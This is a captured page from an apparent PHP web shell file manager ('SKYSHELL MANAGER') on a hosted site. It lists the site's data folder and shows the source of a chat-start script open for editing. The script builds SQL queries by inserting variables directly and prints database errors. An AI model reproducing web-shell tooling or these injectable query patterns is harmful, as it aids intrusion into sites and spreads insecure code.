📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
325.49 KB
0644
🗑️
⬇️
✏️
🔒
Editing: startchat.php
<?php include "header.php"; if($active_log=="0"){ $_SESSION['previous_page'] = $_SERVER['REQUEST_URI']; header("location:signin.php#login"); } else{ $ran = substr(mt_rand(), 0, 4); $finalid='CHAT'.$ran; $date=date('Y-m-d H:i:s'); //Start Chat $checkEmail = mysqli_query($con, "SELECT * FROM chat_session WHERE chatid='$finalid' && user='$user_id'"); if(mysqli_num_rows($checkEmail) <= 0 ) { $submit = mysqli_query($con,"insert into chat_session(`chatid`,`user`,`support`, `date`, `rating`, `status`) VALUES ('$finalid', '$user_id', '','$date','','pending')") or die ('Could not connect: ' .mysqli_error($con)); $submit = mysqli_query($con,"insert into chat_messages(`chatid`,`sender`,`message`, `date`, `type`, `status`) VALUES ('$finalid', '$user_id', 'Hello','$date','user','sent')") or die ('Could not connect: ' .mysqli_error($con)); //notification table $submit = mysqli_query($con,"INSERT INTO `notifications` (`notification`, `date`, `link`, `view`,`status`) VALUES ('New chat by customer($user_name)','$date','pendingchats.php', '0','chat');") or die ('Could not connect: ' .mysqli_error($con));} $_SESSION['chat_id'] =$finalid; setcookie("chat", $finalid, time() + (10 * 365 * 24 * 60 * 60)); header("location:chat.php"); } ?>
💾 Save Changes